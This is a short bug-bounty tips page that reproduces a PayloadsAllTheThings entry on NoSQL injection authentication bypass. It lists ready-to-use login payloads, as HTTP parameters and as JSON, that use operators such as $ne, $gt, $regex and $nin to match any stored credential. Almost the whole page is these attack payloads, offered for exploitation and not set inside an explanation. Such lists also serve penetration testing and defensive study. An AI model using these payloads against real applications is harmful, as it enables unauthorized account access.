NoSQL Injection: Authentication Bypass

NoSQL injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Basic authentication bypass using not equal ($ne) or greater ($gt)

  • HTTP data

    ps1
    username[$ne]=toto&password[$ne]=toto
    login[$regex]=a.*&pass[$ne]=lol
    login[$gt]=admin&login[$lt]=test&pass[$ne]=1
    login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
  • JSON data

    json
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    {"username": {"$gt":""}, "password": {"$gt":""}}

Comments

No comments yet.